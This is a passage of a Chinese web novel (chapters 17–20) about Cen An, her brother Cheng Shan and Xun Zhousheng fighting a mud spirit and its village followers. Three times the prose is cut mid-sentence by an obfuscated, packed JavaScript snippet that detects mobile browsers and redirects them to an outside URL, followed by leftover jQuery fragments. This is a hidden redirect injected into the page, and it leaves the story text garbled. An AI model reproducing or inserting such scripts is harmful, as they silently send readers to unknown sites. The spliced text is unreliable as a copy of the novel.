荀小妹咬着嘴唇:“妈妈也问过一样的问题。” 她说,荀耀六岁的时候,妈妈就提过要让孩子出去上学,但是老村长像没听到一样略过了这个话题,婶婶王春花像个木头人一动不动,爸爸更奇怪,就像魔怔了似的,暴起打了妈妈一巴掌,让她少管闲事。 只有荀叔远,瞅瞅这个又瞅瞅那个:“不上就不上呗,娃娃有自己的出路,你们好好说叨,打人干啥啊。” 岑桉更奇怪了:“荀家村有上过学念过书的孩子吗?” “有的,”荀小妹掰着指头数,“隔壁的大壮哥哥就是出去上学了,还有娟奶奶家的小鲈姐姐,再远的我就不清楚了。对了——还有大哥哥,他搬走也说是要出去读书的。” 也就是说,选择读书的孩子都搬走了,剩下的孩子,也就是荀耀和荀小妹,都没念过书。 又或者说,能走的都走了,留下来的,都走不成了。 岑桉因自己的推论打了个冷颤。 她忽然又想到一个问题:“你日记里提到,荀昼生回来过?” “嗯,妈妈说,大哥哥的父母走得早,所以在我出生之前他就跟着姑姑搬去城里了。妈妈还说,他也是出去读书的。大壮哥哥和小鲈姐姐走后,就再也没回来,但大哥哥每过一段时间就会回来一次。” 岑桉问:“他回来,能正常离开?” “能呀,他每次都会上雪山,在雪山上呆好久好久,每次都是来得突然走得也突然,妈妈说,大哥哥给我带了糖和书,应该请他来家里吃顿饭的,但每次连他的人影都抓不着。” 岑桉更想不通了。 如果荀昼生能来去自如,那她之前的推论就不成真了。 抑或是,他上雪山做了什么,才能保证顺利离开? 等等,等等,太乱了。 岑桉揉了揉脑壳。 她借来纸笔,列了个大括号,在上面写写画画。 “已知我方阵营:程杉,荀昼生,荀小妹(待定),雪山娘娘(以经幡为代表的神明); 已知地方阵营:陌生男人,王春花,老村长,不知名老夫老妻,烂泥巴; 营救对象:荀小妹妈妈; 身份存疑:荀叔远。” 根据现有信息,雪山娘娘和烂泥巴为敌对关系,假设能让荀昼生自由出入的是雪山娘娘,那么用手段封住村落的就是烂泥巴,同理可得,路灯和短刀都应该是烂泥巴的手笔。 如果雪山娘娘是那个能代表雪山和经幡的神明,那么烂泥巴起码也得是个邪神什么的,才能与之抗衡。 神明需要什么,信仰吗? 如果是信仰,把村民强行留下供奉就解释得通了。 那么为什么之前的村民能够搬离?荀昼生口中陆续搬走的几个村子、逐渐没落的雪山一脉是怎么回事?十年前、又或者更久以前,到底发生过什么? 岑桉在荀叔远的名字上圈了个圆圈。 她觉得很有必要找这个人谈谈。 再有就是—— “你一直说让我救救你妈妈,现在能不能告诉我,到底怎么救?你有什么想法吗?” * 荀耀坐立难安。 两个哥哥强行把他留在了客厅,不准他跟着进卧室,然后那个叫程杉的外乡人就开始说教,什么男孩子不能随便进女孩子房间,什么做人不能随便揭人伤疤。 荀耀听得耳朵起茧,恨不得掉头离开。 但程杉不让啊。 程杉一边说着“我第一次逮到比我小的,你就让我过过嘴瘾吧”,一边把他牢牢压在凳子上。 荀昼生就在旁边出神,也不帮荀耀。 荀耀咬牙切齿地想,亏他这么崇拜荀昼生、信任荀昼生,都是一个村的,这人居然任由外人压着他欺负。 爷爷从前总说,会念书的孩子有出息,要他好好跟荀昼生学习,据说荀昼生考上了什么重点高中,可给家里争光了。 荀耀刚开始还不服气,他要是念书,肯定比荀昼生强。结果爷爷随便给他拿了本教材,他看着那长短一样的四句就开始犯困,别说背了,他连读都读不溜。 从那以后,他就打心眼里佩服荀昼生。那玩意儿都能背过,肯定是超人! 但他没想到的是,荀小妹居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171033|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然都比他读得溜。 荀耀不信邪,把那个叫“唐诗”的东西从头到尾哐哐读了十来遍,读到荀小妹都听得会背了,他还没读顺。其实他也有点开始佩服荀小妹了,但他不敢让人发现,男娃娃佩服女娃娃算怎么回事,她还比他小一岁呢。 而且荀小妹好像不喜欢他。 以前她还会给他颗糖吃,后面也不知道咋了,连靠都不愿意靠近他。 婶婶说不是小妹的错,要怪就怪他大伯。荀耀不明白,就去揪小妹的辫子,问她到底是怎么回事,她红着脸抹着泪,硬咬着牙什么都不说。 最后被他逼急了,荀小妹才吼了他一句“因为名字”。 荀耀不懂,想问个究竟,就被恰好回村的荀昼生拦了一手。 他说,这么揪辫子,小妹会痛的。 荀耀懵了:这点力气都疼? “疼不疼她说了算,你觉得不疼,不代表她感受不到疼。”荀昼生是这么说的。 夜里荀耀翻来覆去想不明白,名字咋了,他那个耀笔数那么多那么难写,哪像小妹啊,又好听又好写,还比他名字字数多,三个字多高级啊。 荀耀想不明白的事情多了去了。 就像现在,他怎么也想不明白,那个说“疼不疼她说了算”的大哥哥,怎么不救一救被压得不能动弹的他啊! 程杉絮叨了半天,没人回应也自觉没趣,“啧”了一声放开他另寻目标,开始扯着荀昼生唠嗑:“你是不是喜欢我姐?” 这一问给人问回了神:“很明显吗?” 程杉一拍大腿:“那可太明显了哥们!不是我说,你眼光确实不错,我姐这个人呢,除了偶尔有点暴力,别的都没得说。” 荀昼生摇了摇头。 程杉:? 程杉:“咋,你觉得我说的不对?” “不是,”荀昼生还是摇头,“我觉得她不暴力,她很聪明,很理性,遇到事也很冷静。” 程杉:“……” “行,算你嘴甜。”程杉凑近了些,“既然你喜欢我姐,那我给你支个招呗?” 荀昼生看向他。 程杉晃了晃脑袋:“想要讨好喜欢的人呢,就要讨好对她最重要的人,这个人远在天边,近在眼前——对,就是我。你对我好点,说不准兄弟我心情一好,能帮你一把。” 荀昼生没忍住,笑了一声。他怕惹恼程杉,迅速收笑绷住了脸:“怎么讨好你?” “哎,算你上道!你小子,有出息啊!”程杉嘿嘿一笑,“那你跟我说说你俩咋认识的呗?” 荀昼生皱了皱眉。 程杉问:“怎么,这么难回答吗?是没记住,还是有秘密?” “不是。” 荀昼生站了起来。 “你没发现,少了个人吗?” * 岑桉从头到尾把日记又研究了一遍,拆解了每个日期,忽然注意到一个不知道是巧合还是蓄意的问题。 今天是XS84年6月19日。 日记本里出现最多的日期,是6月16日、6月18日和6月20日,对应到今年,分别是荀小妹发信息找她约单的日子、她和程杉第一次来到荀家村的日子,以及明天这个她几经循环都没能到达的日子。 岑桉不由地产生了联想。 “小妹,”她缓缓问,“你知道祭神节是哪天吗?” “6月20号呀,”荀小妹一拍手,“刚好是明天。” 岑桉心头劈下一道惊雷。 18. 第十八章 祭神节,明天。 岑桉的手指一下一下叩着桌面。 祭神祭神,一般来说都需要祭品。祭品是什么,是东西,还是人? 她很快就把祭品和之前的推测串联起来:泥和村民的目标大概率是程杉,他们在程杉身上有想要得到的东西,那如果程杉本身就是祭品本品呢? 岑桉叩桌面的频率越来越高,直到两下急促的敲门声把她的思绪打断——咚咚。 荀小妹开了房门,程杉急得连比划带说:“荀耀不见了,我俩就聊了没两句,一回头他人就没了。” 岑桉问:“不见了?荀昼生呢?” “他出去找了。他说,荀耀熟门熟路的,不会有事,让你不要担心,他会尽早把人带回来让你套话。” 岑桉沉默了一下。 这人还挺了解她,这么快就摸清楚她把荀耀带在身边的原因了。 程杉问:“姐,我们接下来去哪儿?” 她拿走了那张写满名字、画满符号和箭头的草稿:“去找荀叔远。” 岑桉回头摸了摸荀小妹的发顶,叮嘱她不要把今天的事情告诉任何人,一定要保护好自己,这才带着程杉离开。 * “姐,你真是神了!” 在岑桉的指示下,两人一路摸着屋檐底下走,程杉不理解但听话,直到此刻大雨倾盆而下,他才兴奋地感慨道:“你可比天气预报准多了!” 岑桉失笑。 要是他记得自己被淋过一次,也会这么神的。 “我亲爱的、伟大的、无所不能的姐姐,”程杉虔诚地双手合十,“你能告诉我,我的高考成绩是多少吗?或者直接告诉我录取院校也行,我不挑。” 岑桉:“……” 岑桉:“我对你的智商不是很有信心,但你的乐观又恰好弥补了这一点。” 程杉:? 岑桉敲了敲他的脑门:“简单来说,就是傻人有傻福。” 她刚想把话题揭过,又见程杉重新合起双手,再度发问:“我亲爱的、伟大的、无所不能的姐姐,你能告诉我,你到底瞒了我什么吗?” 岑桉一怔。 他紧闭着眼,也不看她,就这么继续说:“或者告诉我你和荀昼生到底怎么认识的也行,我不挑。” “这事儿怎么还过不去了,”岑桉哭笑不得,“我跟他真没谈,我——” “我知道。”程杉迅速截断了她的话,“我知道你说的是实话,但你肯定也瞒了我什么,他看你的眼神都能拉丝了,你对他的熟稔程度也绝对绝对不止是那么短的一次接触。” “姐,我相信昨天是初见,你没骗我。但这才不到一天的时间,你能告诉我,到底发生了啥吗?” 他的敏锐程度远远超过岑桉的想象。 她倒是有心坦白,但屏蔽规则不允许啊。 岑桉正盘算着是不是像荀昼生一样,找个什么故事暗喻一下,就听程杉发出一声惊呼:“荀耀!他怎么在那儿?” 他唰一下就跑了出去,岑桉能捕捉到只有他跑过的残影。 也怪不得程杉这样着急,那孩子也不知是贪玩还是怎的,居然大雨天进了湖沼,半个身子都陷在泥潭里,只露出腰部以上,如果任由他这样陷下去,恐怕不多时就会没命。 眼下这雨下得又大又急,对泥潭中的人来说更添一份绝望。岑桉姐弟两人已经走出去一段距离,离湖沼不算近了,虽然她知道雨很快就会停,但程杉不知道,他在飞速奔跑,荀耀也未必知道,他在极力挣扎。 岑桉担心程杉一个人应对不来,便也跟了上去,跑到一半忽然发现情况不对劲。 路灯。 路灯是什么时候打开的? 路灯为什么会亮着?! ——糟了,程杉! 岑桉一边大喊着程杉的名字,一边冒雨冲向泥潭,她死死盯着泥潭中央,心底默念着煤油灯,避开一切可能迷惑她的因素。 这绝对是那摊烂泥搞出来的局。 诱饵是荀耀,目标是程杉,此刻目标已到位,谁还会顾及诱饵呢? 果然,随着程杉踏入泥潭的脚步,如卷席般裹着荀耀的泥团从他身边骤然散开,紧紧缠上程杉的身体,将他掩埋在泥沼下。 岑桉赶到时,泥潭已重又恢复平静,连程杉的影子都看不到了。 雨停了。 睫毛上仍挂着未干的雨滴,半落不落的,压得岑桉整个眼眉都沉甸甸的。 心口也沉甸甸的,沉得几乎坠到了谷底。 日头渐出,平息的泥潭像是在嘲讽她的无用,千防万防,都护不住自己的弟弟。 岑桉想笑,笑自己猴子捞月一场空,笑自己明知荀耀也是深夜会见烂泥摊的一员,却还是没有阻拦弟弟,笑自己滥好人烂好人,烂到搭上了程杉的生命。 可嘴角也沉甸甸的,怎么也提不起来。 “耀耀!” 一声急呼从丛林中传来,拨开树木遮掩走出来的赫然是王春花。 她猛地扑到荀耀身旁,急拍着他的脸,直到他发出轻微的回应声,王春花才松了一口气,整个人瘫倒在泥潭边。就在这时,她的呼吸突然一紧,有什么东西从背后勒住了她的脖颈。 ——是岑桉。 岑桉从第一眼看到王春花,就捡了根树枝划破掌心,血液烧灼间,经幡竹竿浮空而出。此刻,竹竿就横在王春花脖前。 “说,程杉去哪儿了。” 她没有使全力,王春花却像刀割喉咙般痛苦嚎叫起来,母子连心,荀耀被声音惊醒,径直窜了过来,狠狠咬住岑桉的手:“放开我妈妈!” 疼。 但也不过如此。 岑桉一甩手从荀耀口中挣脱出来,就连一丝注意力也没分给手上的牙印,一双眼死死瞪住王春花:“说,程杉在哪里。” 回应她的依旧是无意义的哀鸣声。 “等一下——” 是荀昼生的声音。 怎么又是他。 岑桉对他的阻拦毫无波澜。 这次她没想伤人,但也没想过放人。她推测程杉暂时不会死,所以每一分每一秒都要把握好,在得到程杉的下落之前,她不会饶过王春花。 “岑桉,你听我说,”荀昼生匆匆跑来,喘着粗气,“经幡竿和普通竹竿不一样,再这样下去,她会被经幡烧破喉咙的。” 岑桉心念一动,稍稍松开手,王春花便像得到新生般,大口大口地呼吸着空气,脖颈处已出现灼伤的痕迹。 荀昼生松了一大口气。 “她不能死。”他说,“我大概知道程杉在哪儿,但你我进不去,需要她来带路。” 王春花压根没理会两人说了些什么,她从岑桉彻底收手开始,就踉踉跄跄跑到了荀耀的身边,来回检查他身上的受伤情况。 “我收了力,他没事。”岑桉说,“你好好带路,否则我没法保证,下一次会不会手下留情。” * 程杉一睁眼就是一个陌生的山洞。 应该,是山洞吧。 他以前也没住过山洞,但这里到处是土色,瞅着还算宽敞,就是不太干净,目之所及全是泥巴——眼前站着的也是一团泥巴。 至于他为什么会用个“站”字—— 程杉不知道怎么解释。 他觉得自己像是个潜伏多年的精神病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176910|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一朝无人看管就病入膏肓了。他居然看到一团泥巴像《千与千寻》里的无脸男【注】一样,直立在他的面前。 从它黑漆漆的、没有五官的“脸”上,程杉居然看出了一丝无聊的情绪。 它用泥巴做了个泥团,用肉眼分辨不出的“手”给泥团塑形,只是捏来捏去都只是丑丑的、脏兮兮的一团。 也许是它的蠢钝看起来实在无害,程杉放下了戒备心,主动搭腔:“你好?” 泥巴动了。 泥巴说话了。 泥巴说:“叽里咕噜哇。” 程杉:“……” 好耳熟。 它也是老村长的亲戚吗?还是这俩找的是同一个语言老师? “Hello?你会说中文吗?” “呜噜啦!” 程杉打不过就加入:“哇啦哇啦哇啦哇啦!” 泥巴不吭声了。 程杉尴尬地笑了下。 可能它现在看他,和小猫看夹着嗓子喵喵叫的人类是同一种心态吧。 “虽然我听不懂,但还是想问下哈,你看到我姐了吗?”程杉见泥巴还是沉默,干脆一股脑问道,“还有那个小孩儿,他被救下来没?” 泥巴迈着并不存在的“腿”,绕着他“走”了一圈,最后去向了山洞洞口的方位——整个泥都消失不见了。 程杉:? 不是,不能沟通就不能沟通吧,怎么一言不合就走了呢? 既然疑似山洞主人的泥巴都走了,那他现在离开,总不算失礼吧? 程杉一边想着,一边挪到了山洞口,就在即将见到光明之时,他一个大跨步,重又回到了山洞里的原点。 好眼熟。 荀家村的门是都设置了鬼打墙效果吗? 程杉不信邪,又走了一遍,重回原点;又跑了一遍,重回原点;又一头撞向洞口——硬的。 嗯?成了?? 程杉惊喜地抬起头来,正对上荀昼生局促的神情:“是你自己撞上来的,我没动。” 程杉:? 不对吧。 什么情况。 他怎么一头撞人胸口了? 他的头也不是表演胸口碎大石的道具啊! 岑桉显然对程杉奇特的脑回路更了解:“我证明,是程杉碰瓷,他自己撞上来的,跟你没关系。不过他应该也不是故意的,估计是发现洞门出不去,在试偏方呢。” 程杉头点得像小鸡啄米,但很快就变成了旋转的小鸡——岑桉把他翻过来覆过去检查了好几圈,才肯定道:“一点伤都没有。” “还是姐你关心我,”程杉泪眼汪汪,“我一个人在这孤苦伶仃的——等下,你们看到泥巴怪了吗?” 岑桉和荀昼生对视一眼,她问:“它刚才和你在一起?” “对。”程杉点头。 他的目光在两人之间徘徊多次,忽然意识到哪里不对劲:“姐你身后是不是还藏了个人?” 荀耀带着脸上的擦伤,探出个脑袋,然后哇一声哭了出来。 程杉急得团团转:“咋哭了啊?你看多危险啊,以后下雨天别去泥潭玩儿了啊,长个教训。哎哟,怎么脸上胳膊上全是伤,你疼不?咋办啊姐,这孩子怎么一直哭啊?” “你们都是坏人!你们欺负妈妈,我要妈妈——”荀耀扯着嗓子嚷道。 “他妈咋了啊?”程杉懵了,“他妈也掉泥里了?” 荀耀哭得更大声了。 “坏蛋!”他冲岑桉。 “叛徒!”他冲荀昼生。 “傻子!”他冲程杉。 程杉:? 不是,他招谁惹谁了? 19. 第十九章 湖东畔的屋子里。 荀小妹郑重地把笔记本收进了抽屉里,重新上了锁。 她就像是这个狭小的抽屉,里面装满了杂乱无章的记忆,她时常分不清哪条是现在,哪条是曾经,哪条是未来。 不同时空的片段全都挤在了荀小妹的脑袋里,她每每拼命回忆某个细节时,脑袋都痛得几乎要炸开。 找到岑桉似乎是一件顺理成章的事情。 在书里看到和妈妈经历相似的例子,在书里找到解救妈妈的办法,借到大哥哥的手机搜索跟拍记者,荀小妹就这样加上了姐姐的联系方式。 这个姐姐很厉害。 她能一手拎起一个大行李箱,能通过荀小妹只言片语拼凑出事情的真相,还能像孙悟空一样挥舞着金箍棒打倒妖怪。 虽然姐姐不是她要找的暗访记者,但显然比她想象中的记者还要全能,简直超越了大哥哥,一举拿下了她心里“第二厉害”的称号。 当然,“第一厉害”永远属于妈妈。 姐姐比大哥哥还要厉害,这点毋庸置疑。 毕竟大哥哥都打不过那些妖怪,姐姐打得过;大哥哥不会用手刀“啪”一下把人劈晕,姐姐教会了他;最重要的是,大哥哥他亲口承认过,姐姐无所不能。 而且,大哥哥喜欢姐姐。 荀小妹知道这个消息的时候,高兴得蹦了又蹦。 厉害的人就应该和厉害的人在一起,而且姐姐那么好,谁会不喜欢姐姐呢?在这件事情上,她绝对站在姐姐这一边,就算是大哥哥配姐姐,也只能说是勉勉强强吧。 最大最大的扣分点是,大哥哥居然连喜欢都不敢承认! 好奇怪啊,他明明抱过姐姐,怎么到了姐姐面前一声都不敢吭?好没有骨气没有担当的男人啊,扣分,扣大分! 荀小妹撅着嘴在桌面上指指点点,仿佛她指着的不是桌子,而是荀昼生本人。 咦,不对啊,大哥哥是不是表白过? 咦咦,他是什么时候表白的来着? 脑袋,好痛。 荀小妹捂着头趴在桌上,半天才缓过劲来,伸出拳头敲了敲头顶。 “怎么这么不中用啊。”她小声嘟哝着责骂自己。 就差一点点,如果她能多想起来一点点,是不是就能帮到姐姐更多? 如果她能再多知道一点,也就不至于在姐姐问起救妈妈的计划时脑袋空空,憋了半天才吐出来一句妈妈说过的原话:“我想让妈妈飞到外面,去看一场没有雪的日出。” “你想让妈妈离婚吗?”岑桉问。 她不明白:“离婚是什么?” “离婚就是,爸爸妈妈分开,各自选择自己想要的生活。” “我想,我想让妈妈离婚。” 岑桉又问:“你想跟着妈妈吗?” “我想,但我更想让妈妈飞,如果背着我,她飞不高,也飞不远。” “那,你想把爸爸交给法律吗?” “交给法律是什么意思,让他受到惩罚吗?” “对,让他受到公正的惩罚,”岑桉叹了口气,“不过这要等很久之后了,我还不知道能不能成功出去。” “出去?” “嗯……先不说这个,我大概明白你的想法了,可我总得先见你妈妈一面吧?有什么办法能让我见到她吗?” “我也不知道,”荀小妹缩得像只鹌鹑,“我相信姐姐会有办法的。” 岑桉:“……” “妈妈说,有缘的人自会相见,所以姐姐一定会有办法的。” 荀小妹当时是这么说的。 现在想想,她确实是有点不负责任。 毕竟姐姐来到这里是因为她,答应救妈妈也是为了她,她不能把事情都推到姐姐身上,她也要发挥自己的作用才是。 她坐直了身子,昂首挺胸,开始盘算自己能做点什么,忽然被敲窗的声响吓得一激灵。 “谁、谁在外面呀……”荀小妹手脚并用爬上了床,把自己缩进了被子里,团成一团的被子随着她瑟瑟发抖。 “小妹,你在家不?”窗外是荀叔远,“你看到你婶没?” “小叔?”荀小妹从被窝的保护里站了出来,推开窗,“你咋不走正门啊?” “哎呀,你爹不在家,俺一老爷们进你屋算怎么回事,你二婶哪儿去了,你瞅着没?” “她不在地里吗?” “没啊,吃完饭俺就先下田了,一直没见着她,刚下了场大雨,俺浑身都透了,打算回去冲个澡。”荀叔远有点不好意思地扯了扯身上的衣服,“俺跟你一丫头片子说这干啥。也没啥大事,你要是见着你婶就跟她说一声,今儿田里湿,下午就不撒种了,明儿个一早再去,让她别忙活了,早点歇歇。” “哎,好。”荀小妹点头应下。 “造孽的又跑山里了?” 荀叔远口里的“造孽的”是指荀小妹的爸爸,也就是他名义上的大哥荀伯成。荀小妹早就听习惯了:“还是天蒙蒙亮就走啦,不知道去哪里了。” “一天天的净往外跑,被勾了魂了,饭都不回家吃,娃娃也不管。”荀叔远呸了一声,“甭管他个狗东西,有事来找俺,找你婶也行,她是女的,方便。” 没等小妹回腔,他就叮嘱小妹把窗关好,到点过来吃饭,然后就自个儿回家去了。 荀小妹等他走远才要合上窗,手刚推到一半,就看到一熟悉的身影在湖沼附近——爸爸怎么在这儿?他以前白天不是从来不回村的吗? 她越想越不对劲,担心自己的计划走漏风声连累了岑桉,连忙出门悄没声地跟了上去,七拐八拐一通好走,跟到了一处她从未见过的山洞。 眼一眨,爸爸身前窜出个两三米高的巨型妖怪,身上脏兮兮地往下滴泥水。 眼再一眨,爸爸单膝跪下了。 眼又一眨,连人带妖怪一齐消失不见了。 荀小妹:? 她使劲眨巴眨巴眼,揉了揉眼眶,再三确认眼前啥也没有了,腿不由自主地一软。 “小妹——” 她一定是出现幻觉了。 不然怎么先是看到了那么大一只脏妖怪,然后又看到爸爸瞬间消失了,现在还听到了婶婶的声音。 “小妹——我在这儿——” 怎么还有声。 荀小妹唰一下蹲在地上,紧闭双眼,手捂住耳朵。不听不看,不看不听,就没有什么能伤害到她。 然而那声音实在太有穿透力了:“小妹——我在这儿——帮帮婶儿——” 她紧紧缩成一个球,眼皮轻轻掀开一条缝。 她想,看一眼,就偷偷看一眼,应该没问题吧? 这一眼可不得了,居然还真让荀小妹瞧见了婶婶——她被麻绳捆在在树干上,像麻花一样扭来扭去,但没有起到分毫的作用。 “婶婶?”荀小妹慌忙站起,“谁把你弄成这样?” 她手忙脚乱地给婶婶松绑,却怎么也解不开结,王春花阻止了她继续的动作,眼里含着泪:“不用管我,小妹,耀耀被他们带进去了,耀耀有危险,你能不能帮帮婶儿?就帮我看一眼,只要耀耀没事,我就安心了。” “谁们?” “那个外乡的女娃娃,还有早、昼生,他们,他们——”王春花欲言又止,神色萎靡,“是我不好,但耀耀是无辜的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185341|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么不好?婶婶,到底发生什么了?” 荀小妹不相信岑桉一行人会伤害婶婶和荀耀,但她也没道理不相信自己的亲人。婶婶吞吞吐吐说不清楚,这其中肯定有隐情,她想问个清楚,却见婶婶忽然像抽了魂一样,整个人无骨般倚靠在树上,两眼无神。 笼罩在婶婶身周的光源灭了——准确来说,是路灯忽然暗了下去。阳光下的路灯存在感微弱,方才却恰好能照到婶婶身上。 奇怪,大白天的,路灯怎么会开着,又怎么突然就灭了? 荀小妹来不及细想,拼命摇晃着疑似失去意识的婶婶,边晃边喊,过了好一会儿,婶婶才迷迷糊糊地清醒过来,眼底也重新有了神采:“小妹?我怎么在这儿?” 王春花想要伸手,才发觉自己被捆得结结实实:“这是怎么了?” 荀小妹愣住了。 她伸出五指在自己眼前晃了晃,又在婶婶眼前晃了晃,意识到双方都没出现幻觉时,荀小妹声音都在打哆嗦:“婶、婶婶你别吓我……” 她磕磕绊绊地把刚才的情形描述了一遍。 婶婶的脸色越来越黑,再开口时声音艰涩:“刚刚,路灯亮了?” 荀小妹慌不迭地点着头。 “……”王春花颓丧地垂下头,“我知道了。” 她别过头去,视线转向村落,荀小妹不知道她在看什么,只觉得她此刻的眼神既失落又惊慌,嘴角却是微扬着的。 婶婶的笑很怪,怪得像第一次做饭的荀叔远,盐加少了,糖撒多了,还不小心把醋当成了酱油,只能含泪自己吞下去。 “小妹,”她说,“别管我了。” * 继荀耀骂了一圈之后,山洞里重又回归平静。 岑桉简单给程杉概括了下情况。 他是被那滩烂泥做了局,才会被带来这个地方,至于荀耀,人家只是个幌子,自然没有受到伤害。 程杉听完这一通,也没精力计较荀耀那句“傻子”了,整个人神游天外,愣神半天才憋出来句:“所以,泥巴怪是坏的?” 岑桉答:“如果你说的‘泥巴怪’就是烂泥摊的话,是的。” “不像啊。”程杉恍惚,“它看上去不像是反派啊……” 岑桉刚想展开“知泥知面不知心”“泥不可貌相”的那套理论,便听到程杉继续自言自语道:“它看上去没什么智商啊,这也能当反派?” 岑桉:“……” 微弱的风流擦身而过。 “后退,”荀昼生警觉地侧头向山洞,“有人来了。” 岑桉将程杉护在身后,带着他退到了山洞石壁前,向挡在自己身前的荀昼生伸出手:“借我把刀,或者随便什么锋利的东西,都行。” 荀昼生扣住她伸出的手腕,仔细检查了她掌心的伤:“有血,还能用,别划了。” 程杉:? 他头摆得像拨浪鼓,也没看出来俩人唱得哪一出,结果眼一闭一睁,老姐手里凭空出现了一根长长的竹竿,上头挂满了五色经幡。 程杉:! 他惊呼一声想要上前看个究竟,被岑桉死死拦住:“老实呆着。” 岑桉绝不允许程杉再在自己眼皮子底下出事。 嗡—— 随着山石颤动的声响,洞门亮了。 耀眼的白光闪过,洞口出现了两个身影,左边是一摊直立行走的烂泥,右边是一个和岑桉打过照面的男人——那个曾和她有“过命交情”的男人。 被岑桉一行人留在洞口处不管不顾的荀耀如同见了亲人,一蹦二跳地凑了过去。 “大伯——” 荀耀是这么喊的。 20. 第二十章 再宽敞的洞口也会因为五个人一滩泥而变得拥挤。 更何况那是摊脚踩泥地、头顶天花板的巨型泥。 岑桉飞速地在脑海里过了一遍伦理关系。 荀耀的大伯,也就是荀耀的父亲的大哥,也就是—— “荀小妹的爸爸?”她低声询问荀昼生,得到了他肯定的答复。 那整件事可就太值得寻味了。 果然,人渣在哪里都是个人渣。 岑桉面无表情地转了转手腕,拎着竹竿一跃而起,直冲烂泥而去——擒贼先擒王,这个简单的道理她还是懂的。 没想到他们之间还挺讲义气,荀伯成直接闪身挡在了烂泥身前,不退不避,被竹竿戳中了肩胛,痛得直嚎。 这就是经幡的特殊加成吗? 岑桉更觉如虎添翼,一竿抽回,荀伯成不知从哪里变出来一把短刀,冲刺着砍向她的肩膀,被她一挥竿掀翻在地,她也被力带着后退了几步。她站稳脚跟,反手又是一竿挥向了烂泥,径直将它劈成了两半,过程轻松得超乎了她的预料。 但烂泥显然是有两把刷子的。 它慢吞吞地合二为一,恢复如初,又缓慢地向地面远处渗透,泥黏住了她的鞋,只一下,就让她困在原地,动弹不得。 “别过来!”岑桉头也没回,就及时制止了程杉想要靠近的脚步。 但荀昼生显然不听她的。 早在荀伯成被掀翻时,他就眼疾手快地夺过了短刀,掏出麻绳把对方的手绑在身后,之后更是在污泥蔓延的一瞬间选择了前进,两手抓住竹竿的另一头:“岑桉,脱鞋!” 荀昼生紧贴石壁,借力使力,手臂青筋暴起,迅速将准备完毕的岑桉顺着竹竿甩到了干净的地方,然后踩掉了自己的鞋,岑桉心领神会地一甩竿,重复他的操作,甚至不用找支撑点,荀昼生就被狼狈地摔到了远离污泥的地方,险些带倒程杉。 程杉没忍住爆了粗口。 这是什么惊天地泣鬼神的甩竿表演。 程杉知道他姐力气大,但不知道她力气这么大,敢情以前打他脑门都是手下留情了啊! 岑桉没他这样感慨的工夫,污泥散开的速度虽然慢,但山洞这头是死路,被赶上是迟早的事,现在可没有第二双鞋供他们脱身。 她只能寄希望于经幡的神通,像扔标枪一样,竹竿从她手中飞出,插进了扩散的泥里——泥摊破开了一个圆洞。 有效! 岑桉大受鼓舞,狠狠掐了把手上的伤,血液再次流出,经幡竿也像受到召唤般回到了她的手中,一竿又一竿下去,她的手速比泥洞弥合的速度要高得多,眼前很快就变成了泥筛子,密密麻麻的洞孔触目惊心。 荀昼生从地上爬起后,就跟在她身后抽空补刀,洞孔稀疏的地方便用短刀划上一道,再转上一圈,扩大刀口的伤害面积。 烂泥发出了怒鸣声。 它叽里咕噜了一长串,不存在的“脚”踹上了荀伯成。 岑桉听得懂,它在让荀伯成站起来,给它当翻译。 可岑桉那竿下去实在是又狠又急,荀伯成到现在都还躺在地上抽搐,连意识都不甚清晰,又谈何翻译呢。 “呜——”烂泥张牙舞爪地狂吼一声,整个山洞都开始发抖。 岑桉不打算暴露自己听得懂的事实,冷眼旁观着它的无能狂怒,竹竿一下一下地插进它制造出的泥潭里,丝毫不心慈手软。 “我、我能听懂。” 一只手颤巍巍地举了起来。 从大战触发的那刻开始,荀耀就战战兢兢地紧贴着洞壁,大气都不敢出。 他目睹了大伯被伤、泥巴爆发、双人旋转竿以及扔标枪现场,精神遭受了重创,脚也陷在泥潭里拔不出来,整个人都在崩溃的边缘摇摇欲坠。 “真的不用管他吗?”程杉心软。 在那摊烂泥躁狂大叫时,荀昼生就收刀守在了他身前,听到这话摇了摇头:“都听你姐姐的。” 烂泥把新晋的小翻译官托举到了身前,咕噜呱啦一通。 “它、它说你们粗鲁、好战、一点都不讲究,在它的地盘撒野,居然连招呼都不打,明明几句话就能说清楚,为什么要动手,还要打伤他的信徒——啊?”荀耀磕磕巴巴地翻译完,被“信徒”两个字惊得回不过神。 他一比一转述了烂泥的原话,岑桉听得清楚,她的重点同样落在了信徒二字,但还有另外一件事:“你问它,它要什么讲究?” 荀耀欲哭无泪:“我只会听,不会说啊!” 烂泥:“咕噜啦!” 